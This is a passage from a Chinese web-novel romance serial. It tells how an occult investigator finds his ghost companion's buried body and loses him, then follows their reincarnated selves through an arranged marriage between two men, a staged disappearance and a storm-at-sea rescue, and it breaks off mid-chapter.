月老看向沈砚台,有感激,有欣赏,亦有防备,“你说。” “事成之后,月轻盈交给我,他得是我的。”沈砚台毫不遮掩。 无视掉周围人倒吸一口凉气的声音,沈砚台眉目坚毅和月老对视。 月老有些恍惚,从对面的年轻人身上察觉到了野心,更多的是无法言说的柔情。 月老再瞬间就猜到了,他眼眸复杂,倒也没说什么,只在犹豫片刻后,点点头:“只要抓住他,保了月家平安,他便随你处置。” 月家人走了。 玄术界办公处嗨处在僵硬中。 月轻盈从沈砚台背后走出来,立在他面前,表情凶巴巴。 “你这个负心汉,那个月轻盈是你的,那我是什么!” 卧槽,沈砚台总不能白月光想要,情人也想要吧。 他该不会有了那个月轻盈,就不要他了吧。 开玩笑,他想要的是投胎哎! 沈砚台要是敢不管他,他就喝光他的血,自己撑死,和他一同上黄泉路。 “我的男朋友?”沈砚台这么说,抬手揉了揉月轻盈丰盈的黑发。 月轻盈:“?” “你不懂。”沈砚台安抚小猫似的,摸他后颈皮,“但我不会不要你的。” 月轻盈:“……” 一旁见着这幕的玄术界大师们,“……” 刚经历完惊吓,就见狗男男调情,这日子没法过了。 虽然有了月老这个小插曲,但追踪怪的事,是一点都没有耽误。 玄术界大师们日以继夜的追查,取供,从蛛丝马迹中查找异常点。 沈砚台已经熬了三个大夜了。 月轻盈跟着熬了三个大夜。 差点熬死了个鬼。 月轻盈眼下一片青黑,倒在同样面容倦色的沈砚台身上。 “老板,案子不是拿命查的,咱能不能睡个三五个小时?” 沈砚台转头看向他,三天没休息,他胡子冒出青茬,眼眸干涩,面容颓废,但依旧帅死个人。 月轻盈:人比人气死人。 “累了?” 月轻盈立刻回以幽怨的眼神。 沈砚台点头,也是,魂也有魂权,魂也会困,那就暂时休息一下吧。 沈砚台交代了一下,玄术界大师们这才都有了点松懈下来,倒桌上开始打鼾。 月轻盈也想睡,但是沈砚台起身,拉着他先去解决他吃饭问题。 喝完血,月轻盈就没那么困了,反而因为血液的能量,他有了些活力。 现在是晚上十一二点左右,他和沈砚台从其他办公室出来,出了楼,他低头就见到了他和沈砚台的影子。 不知为何,月轻盈忽然想起了一个画面。 画面上是他和沈砚台坐在一个高高的树杈上,肩膀抵着肩膀,齐头相谈,说着自己未来是玄术界顶级高手的祈愿。 那日阳光很暖,风和熙,沈砚台帅气的侧脸仿佛透光,成了让他心跳加速的燃点,随即,他头轻靠在他的肩膀上。 两个人偎依,伸开的长腿自由晃荡,欢声笑语好像永远不会停歇。 “唔……” 月轻盈皱起眉头,他和沈砚台? 他闭闭眼,脑子里忽然又长出了些记忆,他有些怔然的看向沈砚台。 “老板……” “嗯?”沈砚台刚用冷水洗了把脸,没有纸,他随便呼噜了两把,一脸的潮湿。 “我们是西郊的树上看看风景吧。” “……”沈砚台看着他得眸子里带上了无语。 月轻盈劝他说,“你先前不是教我看地脉吗,你问我,哪里的地脉好,现在我要回答你西郊那里的地脉就是最好的。” 沈砚台无言看向他。 月轻盈的眸子里多了些祈求,“走吧,就一会,开车去很快的。” “就因为这个想去西郊?”说到西郊,沈砚台的眼神有些乱。 “还有一个原因是,上次我们去了西郊后,我的魂魄凝实了些,不过当时我没在意,所以没跟你说。” “我想去验证一下,顺便告诉你关于地脉得答案,可以吗?”月轻盈伸手,抓握上了沈砚台的衣袖。 沈砚台看了他一会,反握住他的手,说:“走吧。” 月轻盈开心,扣紧他的手指,“这么快就答应我了?在这个夜黑风高杀人夜的晚上?” “那不答应怎么办,你要是跟我哭了怎么办?” “我才不会哭。” 月轻盈抱住沈砚台的手臂,头依偎过去,莫名傻笑。 到了西郊。 如今再看,又有些不一样的感觉,沈砚台皱眉,或者他该纠集起陈涛和吴天祥在晚上的时候,对西郊进行查看。 “走,我们去那边的树上。” 沈砚台眉头一跳,猛地看向他,“为什么是树上?” 月轻盈无辜道:“树上看的最远,我才能更好的跟你比划最好的地脉在哪里?” “我以为……”虚惊一场,沈砚台气息有些不稳。 “你以为我想起了什么是不是?”月轻盈调笑,高深莫测道。 第95章 95 契约婚约 “是。”居然毫不犹豫的回答了。 他看着月轻盈的眸子里有着前所未有的认真。 本想调侃一下他的月轻盈, 莫名的有些慌张,头片到一边,眼神闪躲。 “很遗憾, 我什么都没想起来, 就是逗你的。” “没关系, 不管你想不想的起来,你现在都是我的情人。” 月轻盈猛地抬头看着沈砚台,嘴角不受控制往上扬,“哦。” 见他傻笑起来, 沈砚台无奈, 眼神宠溺。 月轻盈爬树很厉害,沈砚台跟在他身后, 花费了一段时间,两人并肩坐在树梢。 月轻盈伸出手, 指着西郊中心位置,说:“那里就是地脉。” “那里的地脉能有多好, 不论谁若是住在那里, 都会财运缠身, 紫气东来,洪福齐天, 干什么成什么。” 随着他说的多,沈砚台不免重视起来, 掐着指头算了起来, 经过推算,他的脸色难看了起来。 是啊,他怎么没想到。 这么一块风水宝地,人得到会一步登天, 若是有人用着这块地做其他事,想必也是心想事成。 那些怪的由来,他好像知道是怎么回事了。 “我们回去,召集人手到地脉那里查看。”沈砚台说着开始动身。 月轻盈说了好,看着沈砚台的脸多了些眷念。 眷念? 他泄露的眼神,让沈砚台狐疑起来,莫名心底不安。 “怎么了?” 他爬下树的动作一顿,眼神在月轻盈的脸上逡巡,不错过一丝一毫的变化。 “没什么,走啊,下去了。” 他面色如常,刚才那一幕好像是他看错了般,沈砚台皱眉想问清楚,谁知道月轻盈一巴掌扑在了他的脸上。 “快走。” 沈砚台:“……” 玄术界办公处的人几乎全都出动了。 身上带着家伙事,在西郊公园……开挖。 半天不见东西,吴天祥皱起眉头,“怎么回事,怎么一点反应都没有?” 众人眉头紧锁,开始掐算正确的位置。 月轻盈见状,不动声色的拿起铲子又深挖了几下。 很快,就有什么东西露了出来。 不少人全都围上去,想看看是什么东西。 自觉是功臣的月轻盈,对这些人指指点点,“看看,你们那浅薄的耐心,就这么一点。”他大拇指屿食指比出一个距离。 众人窘,将他扒拉开,蹲下身开始研究是什么东西。 一开始是类似衣服的布料,随着他们挖的越来越多,竟是出现了人类的手掌。 “操,他么的人?” 一个小时后,众人看着扫去泥土,静静躺在坑里的死人,皆都脸色难看。 月老的孙子月轻盈找到了! 可他已经死了。 “老沈……”吴天祥启唇,转头去看沈砚台,下一秒,他就愣住了。 沈砚台脸上是什么表情。 脸色发白,眉头紧皱着,眉宇里都是伤悲,平常总紧抿的唇瓣,此刻竟是在颤抖。 他全身都在不断的颤抖,垂在腿边的双手紧握成拳。 只一个错眼,他的泪水就已经滑落了下来。 所有人都看到了这一幕,张张嘴想说点什么,又不知道该怎么安慰。 众人全都摇头叹息,玄术界的天才,年仅25岁,就这么没了。 没有调查,还不知道怎么没得。 沈砚台和他关系是最好的,从小到大都要拼个高低,却又互相欣赏。 沈砚台哭的这么惨,肯定是为了好友的早逝痛心。 一个呼吸,沈砚台就腿软的跪了下去。 他面前的月轻盈,脸色苍白如纸,爱笑的眼睛此刻紧闭着。 原是飞扬的眉宇,此刻死气沉沉,永远都是上扬的嘴角,此刻抿紧,再也不会张合。 他真的没了。 他被人埋在土地里,死的时候会不会很害怕,会不会曾经喊过他的名字。 死亡即将来临的时候,他又想了什么,有没有哭,肯定还有遗憾没完成。 沈砚台哭的隐忍,忽然他想起来什么似的,猛地起身,慌张的寻找月轻盈的魂魄。 魂魄来临自己死亡之地,魂魄就会灰飞烟灭。 “月轻盈!” 当他大吼着出声,众人都被他给惊到了。 “不是,月轻盈不是在这吗?老沈怎么往后跑?” 沈砚台无比的心慌,月轻盈呢,刚才还在这里他跑到哪里去了? “月轻盈!”心里的恐慌让他下坠! 他不知道现在自己有多惶恐,他的不安只能在看见月轻盈的时候才会被安抚。 “沈砚台,我在这里。” 头顶上传来一道舒朗的声音,沈砚台猛然回头。 月轻盈就坐在他们先前坐过的那颗树上。 沈砚台眼泪落了下来。 月轻盈背对着月光,他的身体变地透明,他的笑容是多么的美好啊。 美好的下一秒就会消失掉。 “你不要走……你不是我的情人吗,你要丢下我吗?” “嗯,我要丢下你自己朝前走了。”月轻盈对沈砚台笑。 忽然他就哭了起来,他低下头,紧紧抿着唇瓣,“我已经死了!” 他说着事实,“对不起,我全都想起来了,为了不让你被我这个魂魄拖累,我只能带你来这里找真相。” “我知道你找了我很久,所以,我才会在死后,不顾魂飞魄散,变成魂还缠在你身边。” “你走了我怎么办?”沈砚台朝月轻盈大吼,伸出手想要挽留他。 月轻盈却是在一阵风掠过后就这么消散了。 沈砚台不可置信,魂魄好像都被月轻盈带走了。 下一秒,他的脑袋里突然闪现过了很多记忆,这时候,他才想起来自己是魔尊沈砚台,月轻盈是被他害死的最爱的人。 沈砚台双手捧着脸痛哭。 怪最后被消除。 真相和月老说的差不多。 但事实是他的二儿子,骗了月轻盈,将他杀了后埋在地脉里,用他的气运养怪。 这些怪本是他的二儿子用来积攒气运和寿命,可谁知道,他功力不深,压不住这些怪。 自己遭到了反噬不说,这些怪还生出了神智,在外作恶多端。 月老一个老头子在知道真相后,一口气喘过来,瘫了。 第一玄术大家月家,这次是真的要散了。 经此一事,玄术界办公处也落寞了,据说沈砚台失踪了,天下太平了之后,高人们都隐居起来了。 除了玄术界天才月轻盈死了,沈砚台失踪后,还算皆大欢喜。 第五世。 一栋占地面积很大庄园别墅里。 沈砚台一双长腿交叠着搭在茶几上,整个人靠在沙发上,双手抱胸,满脸冷漠的瞪着他家老头子。 “你说你不想结婚,不愿意见女人,爸呢,就给你找了个男媳妇,明天结婚,你记得来参加一下。” 沈宴长如是说。 “我要是不来参加呢?” 见老头子把话说死的架势,沈砚台忍不住头疼,他家老头子犟,他也犟。 婚礼肯定是办定了。 可他不想啊,只能想办法钻空子跑路了。 “哦,也没什么,断你财路,赶出家门,让你在街头乞讨。” 嘶…… 够狠。 一想到他家老头子说到做到的处事风格,沈砚台退了一步。 “那你总得让我见见人吧,别明儿结婚了认错了人,那可就难收场了。” 沈宴长怎么不知道他在打什么鬼主意,但是无妨,只要他肯出面,小要求还是可以满足他的。 “给你约好时间了,今晚九点,香榭楼,菊花厅。” 晚上,香榭楼。 八点五十九分五十九秒,沈砚台这才踹开大门。 砰一声巨响,吓得里面坐着的那道欣长人影打了个激灵。 沈砚台嚣张走进,气息刻薄,不住逼近打量他的结婚对象。 带着一双黑框眼镜,脸小的架不住,得亏了他那高挺的鼻梁,嘴唇红润翘翘的。 一副年轻教师的亚子。 此刻他手拿筷子,正往嘴里塞东西。 沈砚台扫了一眼他面前的东西,呵,烤鸭,冒菜,夫妻肺片,吃挺好。 注意到余光里有一把椅子,他暴力拖过来,啪,落在年轻教师的身边,开始了人口普查。 “名字。” “月轻盈。”见他凶巴巴地,月轻盈看了一下桌子上得菜,抿了一下唇瓣,这些菜很好吃,他好想吃。 但是看这人的样子,要是他继续吃,估计会生气,月轻盈恋恋不舍的放下了筷子。 一双水雾眼,被黑框眼镜遮住,此刻里透出的都是委屈。 “几岁了?”见他配合,沈砚台气顺了些,也没有那么咄咄逼人了。 “27。” “27?”沈砚台朝他递过去怀疑的眼神。 看他紧致的皮肤,和那看不到毛孔的脸,要说17岁都有人信。 “嗯,娃娃脸。” 行吧,沈砚台勉强信了,继续道:“目的?” 月轻盈移开眼,认真的想了想:“图你家钱?” 沈砚台:“……” 好一个清纯不做作。 沈砚台直起身子,“不是,你要钱你早点说啊,你要多少,你跟我说,我给你,完了你跟我爸说你要把婚礼取消。” “好,那你打算给我多少?” “我爸说给你多少?” 月轻盈默默伸出一只手。 沈砚台目光下移,看着他修长但有肉的手指,看着软乎乎地,有点想捏。 他心情好了点,说:“五百万?” 月轻盈摇摇头,“50万?” 说的口干,沈砚台给自己倒了一杯水喝,刚送进口,就被他给喷了出来。 “卧槽,我爹这么抠门?这你都能上当?” 第96章 第 96 章 契约婚姻 “你觉得是上当, 可我觉得五十万很多啊。”月轻盈撇嘴。 沈砚台闭嘴了。 财富的不同,鉴定了眼界得不同。 “就为了50万你就愿意跟一个男人结婚了?”沈砚台有些瞧不上他了。 “不是啊,是每个月50万呢。”月轻盈说的无辜。 沈砚台噎了一下, 50万, 他一天都不够花的。 “你呢, 今天见到我了,对我还满意吗?可以结婚吗?” 月轻盈忽然猛地凑到沈砚台面前,那水嫩青葱的脸袭来,沈砚台表示架不住。 “结婚……”沈砚台往后撤退, 眉头拧了起来, “明天就要结了,我还能说不结?” 对啊, 关键是结婚以后的事。 “对,你, ”沈砚台猛拍桌子,随即指着月轻盈, “结婚后你可不能管我。” “你指什么?” “我要是出去玩, 你不能管我, 我干什么都无需跟你报备,总之, 就是,我们只是表面夫妻, 当不得真。” 月轻盈了然得点点头:“可以啊。” 沈砚台本来还想了一肚子说辞, 见他这么爽快,反而不爽了起来。 “你就这么随意放任你的丈夫在外面彩旗飘飘?” “反正只是结婚啊,我又生不了孩子,跟你又没有很深的感情, 我不会给自己找麻烦的。” 哦,懂事。 沈砚台为他的乖巧感到满意。 见他又小小一个,也没有为难他,主动将吃的往他手边送了送。 “你饿了吧,吃点。” 月轻盈点头,接过筷子吃了起来,沈砚台在一旁看着他吃。 他小小的嘴巴含着一块鸡爪,把嘴巴给撑满他吃相很斯文,不露牙齿没有声音。 吃饭都这么好看,不愧是老师,礼仪面妥妥地。 最后是月轻盈不适应,问他吃不吃,他要是不吃的话,能不能别看着他。 沈砚台这才发觉自己把目光放在他身上太久了。 他收回视线,切了一声,让他吃,随即,又按耐不住,问他住哪,明早结婚紧不紧张,会不会认不出他。 月轻盈看过去,“我只想安静吃个饭。” 沈砚台这才老实。 第二日一大早,沈砚台被他爹妈压着,很守时的来到酒店参加婚礼。 一到时间,他就开始东张西望,去看他的小新娘。 月轻盈今天穿了一身白色的西装,没有带眼睛,露出清亮温润的眼睛,像个处事不深的小王子那般纯净。 沈砚台有点满意,最起码他的颜值和挺拔的身姿,没给他落面子。 走完了婚礼流程,送走宾客,几乎是瞬间,沈砚台就脱下了自己的礼服,开着车浪去了。 他丝毫没有注意到,站在他身后看他走远的月轻盈得目光,有多么的失望。 大概是过了两个月。 沈砚台在外流连,没有过一次家。 他家老头子每天给他打电话,让他回家看看,他都是不当回事。 这次接到催回家的电话,他也是直接无视了,转头接受了好友的邀约。 一家小型酒吧。 沈砚台正和朋友吹坎谈天,忽然尿急,去了一次洗手间。 就在出洗手间的时候,他和一个身材清秀的男人擦肩而过。 他身上有淡淡的香气,有点熟悉。 他下意识地看过去,眉头皱了起来。 这个人也有点熟悉。 翘翘的红嘴唇,大大的水雾眼,身材欣细挺拔,背肌现条很薄,腿很长的那个人,不是他老婆吗! 看看他现在是什么德行。 眼睛没带,穿的闷骚,鼻梁,耳垂伤都是金属物。 不是,他老婆不是老师吗,怎么现在看起来像个二流子。 他身边还有其他人,估计是同伴,穿着凉快,腰间露出白花花的肉。 不是…… 要不是知道他的职业是老师,不然他还以为他老婆是鸭子。 察觉到周边人打量的眼神落在月轻盈的身上,沈砚台气不打一出来。 谁都不能觊觎他的东西。 他洗好手去就去拉扯月轻盈的胳膊。 月轻盈正在跟人说话,被吓了一跳,瞪大的谁水雾眼在看清楚是沈砚台后,显得有些呆愣愣的。 老公,和老板两个字,他不知道怎么喊。 “怎么,见到自己老公,你不会喊?” 月轻盈哦了一声,淡定喊道:“老公。” 他身边的同伴不淡定了。 沈砚台没管无关人员,拉着月轻盈走到一边,眉头立着,像生气的大公鸡。 “你在这里干什么?穿的什么玩意,你结婚了,能不能注意一下?” 月轻盈低头看看自己,他穿着短袖T,破洞牛仔裤,一双白板鞋,没漏腰没漏腿,规规矩矩的哪里需要注意了。 他不服。 抬头去看沈砚台,“那你呢,你也有老婆啊,你在这酒吧里干什么,猎艳吗?” 一句话给沈砚台堵的说不出话。 “当初我们说好了,互相不去管对方的啊,你越界了。”月轻盈小脸坦然,又给他补了一刀。 沈砚台看着他那个气啊。 “行行行,我今晚谁都不猎,我就猎你!” 说着,他趁月轻盈不注意,往肩膀上一抗转头就走了。 那些坐在卡座,他的朋友们,皆都一脸震惊地看着沈砚台。 不是…… 他那么洁身自好的一个人,遇到让他把持不住的人了? 沈砚台是真的没把持不住,把人给揍了。 偌大的酒店,摆满了鲜花的柔软大床,月轻盈被按在上面打屁股,一身屈辱。 这床不是适合干其他事的吗? 沈砚台活该他只能被家里老头子压着结婚。 “以后还穿不穿成这样去逛酒吧了?”沈砚台手掌心都打疼了。 月轻盈屁股肉多,弹性大,出十分力弹回来十分他手都麻了。 月轻盈疼哭了:“我就去,我还要告你家暴。” 沈砚台一头恼火:“我这算什么家暴!” 月轻盈眼含泪水,期期艾艾回来:“那不然算情趣吗?” 沈砚台:“……” “总之你以后,乖乖做你沈太太,不许去乱七八糟的场合。” “那你也要遵守。” 月轻盈抹去眼泪,趴在床上 ,满脸坚定,“你这么说,就代表你先前说的那些作废,这算是重置的合约。” “你是傻子吗,我是不想看见你吃亏,外面那些用色咪咪眼神看着你的人,能有好人吗,他们能有我有钱吗,有我家对你好吗?” “你家对我好,可是你对我不好。”月轻盈坐起来,小手扣着床单。 “你两个月没回家,我都在想我是不是守活寡了。” 沈砚台:“???” 懂了。 他家小新娘,在跟他耍脾气呢。 “那你说说,我要是乖乖回家,我能有什么好处?” 见他这样不依不饶,沈砚台有了逗弄他的心思。 “一……一个新鲜可爱的小妻子?” 沈砚台:“……” 不太诱人,但胜在取悦到他了。 他从月轻盈身边起身,“知道了,一起回去。” 月轻盈被他从床上带走。 走的时候,他还念念不舍的看着大床:“一千五开的房都还没睡呢。” “脏。” 沈砚台言简意赅。 月轻盈眼睛里冒出小小的猜测,“那你没在外面跟人那个过?” 沈砚台身子一震,回头看他,要他不要多打听。 月轻盈哦了一声,“原来你是不行。” 沈砚台:“……” 还想揍他屁股。 沈家。 沈家父母还没睡,正在客厅看电视,听见脚步声,见到儿子和儿媳妇回来,皆都一脸震惊。 从未走在一起的两个人,今天合体了。 沈父:“喲哦,混小子,被老婆揪耳朵乖乖回来了?” 沈砚台翻白眼,想张嘴说,是他揍了老婆一顿,让他乖乖回来的。 不过看小老婆脸皮薄,他担心他说出来,小老婆就羞红了脸,嗯了一声,应了下来。 月轻盈抬头,诧异看他。 沈砚台没理他,催促他换掉衣服,走到沈父沈母身边落座,没形象的歪倒。 “你们怎么还不睡?打算蹦个老年迪斯科?” “去。”沈母白了他一眼,“我们再给你挑姑娘呢。” 沈砚台如临大敌,猛坐起身:“我不是刚结的婚?” 沈父说:“先前以为你不愿意,后来见你乖乖结了,就打算给你正儿八经找一门好亲事啊。” 沈砚台看了眼月轻盈在的房间,确定他不知情,皱眉问:“那月轻盈算什么,算给我涨经验的?” 沈父说:“月轻盈乖啊,但他怎么说也是男孩,又不能生孩子继承家业,你和他在一起只是暂时的,我还觉得你俩没接触挺好,这次你们一起回来,我还有些担心呢。” “哇,你们可真是一天到晚动脑筋,他的人权不是人权啊,他对不起我们家什么了,要这么耍他。” 沈砚台有些生气。 沈父说:“我们不是给他钱了。” 沈砚台盯着沈父,觉得跟他说不通起身走了。 沈父和母交换了一个眼神。 沈母说:“这孩子就是被惯坏了。” 沈父说:“哼,反正婚姻这件事,子嗣这方面,容不得他胡闹!” 沈砚台没想过月轻盈是个工具人。 就觉得这人肯定委屈,脾气又好,又乖,被人这样欺负,他看不下眼。 没有犹豫的,他抬手敲响了月轻盈的房门。 “怎么了?”换好睡衣的月轻盈,打开门,那秀气清丽的模样让沈砚台一时间说不出话来。 第97章 中气十足的吼声 沈砚台视线飘忽,…… 沈砚台视线飘忽, 半晌没说话。 月轻盈看着他迷惑了一会儿,刚要开口,沈砚台看向他, 眸光有点亮。 “你, 你喜欢车吗?我……我送你。”许是帮着隐瞒自家爹妈造的孽, 沈砚台话说的都有些结巴了。 月轻盈眉头蹙了一下,很快展开,慢慢点头,说了喜欢。 沈砚台松了一口气, “好好好, 你先睡,明天我带你去逛街。” 月轻盈:“……” 月轻盈没想到, 沈砚台说的逛街是逛街。 他们从早上九点开始出发,现在是十一点, 也才过了两个小时。 沈砚台已经给他买了一辆车,钻表、包、衣服、现在他打算带他去买游艇。 月轻盈:“???” 种种迹象, 他很难不怀疑。 他心跟明镜一样, 但他不会说出口, 他看着沈砚台的背影,他知道, 他没有资格。 沈砚台做这一切行为,只是补偿他, 不是喜欢他。 距离买完东西的后几天。 沈砚台满脸不爽, 被父母按着打扮得体,出现在酒店里,跟先前提过的女生见面。 女生还没来,他坐在位子上, 坐如针毡,只想转身就走。 就在这时候,他捕捉到了有一股视线停留在自己身上。 他立刻抬头看回去,眉头拧起来,脸逐渐皱了起来。 对面那个盯着他的人……咋长的模模糊糊? 哦,他化妆了,cosplay,国宝……熊……熊猫? 嗯……鬼迷日眼的。 他没了兴趣,收回视线,可那股视线还是在他身上追随,沈砚台本来就气不顺,立刻凶狠回头瞪人。 国宝好像愣了一下,慢吞吞转回头,收回视线。 就这一微妙的动作,沈砚台迷瞪起来,觉得有点熟悉,跟谁有点像。 好像他老婆。 就在他起身准备去问问的时候,一个纤细的身影在他身边停下站立。 清淡但不容忽视的香水味让他浑身一震,回眸,就见一长相甜美的女生正弯着眼睛笑。 相亲的女生来了。 沈砚台犹豫了一会,看了国宝熊猫一眼,又想起年迈的父母,顿了顿,坐了回去。 “周小姐是吗,我是沈砚台。” 畅聊随即开始。 沈砚台有一搭没一搭的应着,生说话风趣,见识广,有时候聊到感兴趣的,他也会多说两句。 等他下意识的往国宝那边看的时候,却没有了他的身影。 和女生聊完,沈砚台开车送她回去,路上女生表达了对他的好感。 沈砚台却是没有回复,女生脸上的笑有点僵硬,下车时,有些气急败坏的骂他来溜人的。 沈砚台无语,开车回去的路上,喊了朋友出来喝酒。 刚停好车,正准备下车的沈砚台头一抬,就见着了一个打扮很非的熟悉的身影,从眼前划进了酒吧。 沈砚台迷瞪了一会,他老婆,大半夜不睡觉,穿的乱七八糟,在乱七八糟的酒吧里浪。 他气的直接奔向他,车都没锁。 “月轻盈!”中气十足的吼声,让前方的人停下脚步,背影有些仓皇。 月轻盈转头,对上沈砚台幽暗的眼眸,举起小手,扯开嘴笑: “嗨~” 第98章 98 情况危险 沈砚台被他的一声嗨, 嗨麻了。 他走上前,眼神扫视了他一圈,露肩衫, 破洞牛仔裤, 一双小白鞋, 配上他那乱七八糟的妆,他哽住了。 “家里遇到困难了?” 月轻盈眨眼,知道他讽刺自己,想到他去见女生的一幕他也有些气, 一开口秃噜出来。 “啊……老公瘫了, 卖艺赚钱。” 好手好脚搁他面前站着的:“……” “那你卖的啥艺,来来来, 我把你包了。”沈砚台跨步,伸手握住月轻盈的手臂, 把他往外拉。 还好不是在酒吧里,月轻盈鼓鼓腮帮子, 拖着不情愿的步伐跟了上去。 事实上, 沈砚台根本没忍到回家, 带着月轻盈走到车门口,就给丢后座了, 自己也坐了进去。 “来,舞吧。” 月轻盈看了看低矮的空间, 看看浑身低气压的沈砚台, “舞啥,手脚都抻不开。” “你能舞到啥舞啥。”沈砚台没好气,他有些气,隐约知道自己是在生月轻盈的气, 莫名有些不好意思。 他管月轻盈干啥,反正都是要离的,但是他就是管不住。 “哦。”月轻盈点头。 察觉到旁边的动静,沈砚台转头就见月轻盈起势,准备给他摇了花手。 沈砚台:“……就你这样的卖艺,人能给你多少钱?” 月轻盈放下手:“平常跟朋友一起,几个人分分一两百还是有的,今天不一样,今天估计得赚四五百万。” 说好了包他的沈砚台,吸了一口气,“我像是冤大头吗?” 月轻盈转过去,眼眸带笑柔柔的看着他,“你不给吗?” 本来想发脾气,教育一下老婆,最后心甘情愿给人五百万的沈砚台,麻木了。 肯定是因为月轻盈长的太好看,不然他不能上当。 他的心情也该死的好了起来。 给月轻盈当了司机,两人有说有笑的回了家。 洗漱完,沈砚台化身盯盯机,看着水汽腾腾粉嫩嫩的月轻盈怎么都看不够。 月轻盈口渴,想喝水,一转身就碰到了沈砚台。 他歪歪头,以为他也要喝水,就顺势给他让了个位置。 没多久,他想吃个苹果,在果盘那里站了一会一回头,沈砚台抱臂靠在离他不远的桌子上。 月轻盈迷惑:“跟着我干啥?” 沈砚台心虚移开眼,他没想跟什么,脚不自觉的跟着他,他也没办法。 “我,我就是看看这桌子是不是旧了,要不要换换。” 月轻盈扫了一眼大理石的桌子,才换的,在家里都没待到满月,又要换? 吃完苹果,刷了牙,准备睡觉,月轻盈察觉到身后跟来的视线,嘴角翘了翘。 “你要不要跟我一起睡?” “嗯……嗯?”沈砚台眼里划过慌乱,一瞬间想了好多。 他俩从结婚到现在就没有圆房过,实属有名无实,这要是去他房间睡了,那就是有名有实。 再不能轻易离婚的。 想到为他打算得父母,再想想自己对于月轻盈的那些情不自禁。 沈砚台纠结了好一会,在月轻盈要关门之际,做下了决定。 “我……我就去坐坐。” 月轻盈邀请成功。 坐是不可能坐的。 睡是一起睡了。 盖着棉被。 两人中间似是隔了一层海洋。 听着月轻盈发出的轻微呼吸声,沈砚台眼下发青。 不是……就这? 他还以为他粉嫩嫩老婆会对他做点什么。 亏了亏了。 他就起个势就赚了五百万,这回头睡了他床的另一侧,不得要他一半的家产? 反正都要给一半,自己和他亲密些不过分吧? 沈砚台眼神乱飘,僵硬着身子,握紧汗湿的手,一点点朝月轻盈靠近。 装睡的月轻盈差点没憋住笑,在沈砚台快贴近他的时候,顺势往他怀里一滚。 沈砚台:一半的家产他稳了。 月轻盈:老公稳了。 沈父沈母再次上门,发现儿子和儿媳之间的气氛变得有些粘腻。 他儿子那不值钱的样子,真是没眼看。 他儿媳到还是跟之前一样。 沈父沈母交换了一个眼神,眉头皱了起来,他们的算盘里可没有真的把月轻盈算进来。 沈母性子急,刚要开口,就被沈父拦住了。 一家人和和气气吃了顿饭。 临走时,沈父言辞中都满含敲打之意,沈砚台听了个响,没有吭声。 沈母没说什么,却是给他了月轻盈很多礼物。 月轻盈收下这些礼物,低着头,心里不是不明白。 沈母没有警告他,而是对他好,就已经是在对他施压了。 他不是不懂。 他看着沈砚台,想到他有多粘自己,皱起了眉头苦恼了起来。 让他喜欢他,他苦恼,如今,他要离开他,亦是难上加难。 他想到了一个最蠢的法子,在沈砚台最喜欢他的时候,跟沈母沈父联合,演了一场假死的活计。 “今天我要跟我以前的同学们在游艇上玩,你,不准跟着。” 月轻盈坐在沙发上,很男人般的发言,沈砚台抱着他的手臂,头靠在他的肩膀上,温顺的不行,手里把玩月轻盈的手指。 “好,我不跟着,你带几个保镖去行不行?” 嗐,大家都要面子,老婆不要他去,肯定是因为不想让别人知道他有个男老公,他充分理解。 月轻盈松了一口气,还以为他会纠缠,他垂下眼看着窝在他身边,像个大型狗狗的沈砚台,噗嗤一笑。 “那个……我们要不要那个?回头我去玩,你就要独守空房了。” 沈砚台一下子翘起了尾巴,竖起了耳朵,来劲了。 他眼睛看了一下四周,眼镜盯在了沙发上。 月轻盈脸爆红,聪唇舌间挤出来:“沙发不行!天还亮着呢!” 沈砚台看他羞涩,满意一笑,抱着他去了卧室。 一天后。 老婆去玩的第一天,沈砚台浑身似被抽了力气,像瘫烂泥,想老婆。 到了中午,他开始融化,老婆没接他视频电话,去玩连个面都见不到。 到了晚上,他忍不住了,他偷偷开车,打算去老婆的游艇,偷偷看上一眼。 此刻一间破旧的旅馆,月轻盈正缩在床上,注视着不远处的游艇。 心里有些酸涩,沈砚台那个傻子,他说什么她都信。 他根本没去游艇上玩,都是推辞,他今天就本该离开的。 也不知道是什么原因,离开这座城市之前,他想在看看游艇。 他总觉得,自己还能再看沈砚台一眼,这种感觉尤为强烈。 其实是他自己不甘,贪心,不想离开沈砚台,才做出了眼下这般借口。 月轻盈拿起被角揉了一下眼角。 投过路灯,看着细密的雨线,月轻盈知道,天气不好了,下雨了。 沈砚台也没想到会下雨,脑子里忽然多出很多以前看过的电影。 因为天气的影响,游艇翻了,人出事了,一想到这,他整个人慌得不行,脚下不住踩油门。 月轻盈正发愣,忽然就见自己的游艇开始动了,还逐渐远离的岸边! 他起身,赶紧给沈母打去来电话,这才得知,原来是沈砚台跑出来找他了。 为了逼真,她不得不做戏,安排人把游艇开走。 挂断了电话,月轻盈忍不住心跳加速,沈砚台真的来找他了。 可是,雨势越发猛烈,岸边刮起了大风。 远处化为小点的游艇开始摇摇欲坠,海浪不住拍打它,看起来下一秒就会被淹没。 沈砚台赶到的时候,看见的就是这一幕。 轰隆一阵雷鸣,风浪险峻,游艇摇曳被带翻,见着这一幕,沈砚台目眦欲裂,嘶声大吼,“月轻盈!” 月轻盈快速下楼,躲在旅馆门后,不敢出声。 巨变吸引了很多人的关注。 有住在岸口的旅游认,拿起了自己的望远镜,开口惊呼,“好多人都浮在水面上,看样子是想往岸边游。” 但雨势这么大,风狂猛席卷,人的力气根本不够支撑到岸边。 后面的话沈砚台没听见,他只焦心他的老婆月轻盈,现在在水里冷的瑟瑟发抖,被水呛的喘不了气。 月轻盈有危险! 几乎是想都没想,沈砚台脱了外套,伸展两下就跳进了水里。 他要去救他! 见着这一幕,月轻盈魂都吓飞了,他不敢在躲藏,朝着沈砚台跑去,一边喊,“沈砚台我在这里,你回来!” 雨声吞没了他的声音,雨水兜头浇下,月轻盈不管不顾超沈砚台那边跑去。 沈砚台已经游出去了一段距离,月轻盈急的不行,脑子一热,跟着跳了下去。 旁边围观的人都傻了。 “这不是锅,搁这下饺子呢?” 好在,老天似乎温柔了一回,雨势渐小,风浪平息,月轻盈得呼声终于到达了沈砚台的耳边。 “沈砚台!” 沈砚台停住,四周环顾,最后在身后见到了月轻盈。 该是由惊变喜,还是慌张被安抚,他松懈了一口气,这时,他没有发现,被风浪卷来的渔民门下的渔网朝他覆盖了过来。 被带入水里的刹那,沈砚台见到月轻盈变得惊恐的脸和那一声满含害怕的呼唤。 “沈砚台!” 水面上早已没了沈砚台的影子,月轻盈深吸一口气,沉入水里,这才看清,沈砚台被渔网缠住了。 情况很危险。 时间过长,沈砚台……会死! 第99章 99 这脾气谁不上头 月轻盈憋着气, 